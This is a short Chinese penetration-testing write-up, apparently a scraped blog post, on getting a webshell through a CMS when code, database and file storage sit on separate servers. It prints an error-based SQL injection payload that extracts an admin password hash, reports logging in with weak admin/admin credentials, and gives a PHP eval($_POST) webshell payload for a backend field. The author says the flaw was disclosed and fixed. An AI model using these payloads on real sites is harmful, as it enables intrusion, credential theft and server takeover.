新的部署架構之下,如何拿shell?

和朋友聊起一個話題,服務器部署架構升級對安全的影響。從最簡單的一臺服務器,到應用、數據庫、文件服務器分離;從本地機房服務器到雲服務器產品矩陣;從虛擬化到容器化部署,一直在往更安全的方向改變。web

本文試圖構建這樣場景,源碼放在ECS,數據庫放RDS,非結構化數據存儲放HDFS。常規的getshell手段,如SQL注入寫入文件,任意文件上傳,文件包含等彷佛已再也不好使。這種狀況,如何突破系統的部署架構,來獲取網站的webshell呢?sql

實戰思路:黑盒滲透測試+白盒代碼審計shell

在進行信息收集的時候,找到網站管理後臺,查看登陸界面網頁源代碼,獲知該系統可能由某CMS二次開發。進一步下載開源CMS源代碼進行代碼審計,從前臺sql注入到後臺getshell。數據庫

某CMS演示站點漏洞利用過程:安全

一、利用前臺SQL注入漏洞,搜索處填入Pyload:服務器

keyword=1%' or (select 1 from (select count(),concat((concat(0x5e5e21,(select concat(0x7c,password,0x7c) from xxxxx_user where uid=1),0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)#

將md5值:21232f297a57a5a743894a0e4a801fc3 解密爲admin架構

使用弱口令admin/admin成功登錄後臺。微服務

二、 登錄後臺,在Home設置—專題管理—建立專題—專題名稱處填寫Payload:test111',eval($_POST[g]),//測試

三、訪問webshell地址:網站

PS:本文所引用案例,安全漏洞於2018.11提交官方,目前已修復。


技術架構上的升級,它能夠很大程度地下降一些安全風險,黑盒滲透的漏洞利用難度無疑會增大。目前,比較流行的微服務架構,會有愈來愈多的系統使用場景,而這也是一個很大的挑戰,你覺得你拿到了整個系統的權限,其實你觸及的多是系統中的某個服務。

很喜歡這樣一句話,簡短有啓發:細節中發現漏洞,架構上解決問題,流程中控制風險。

相關文章
相關標籤/搜索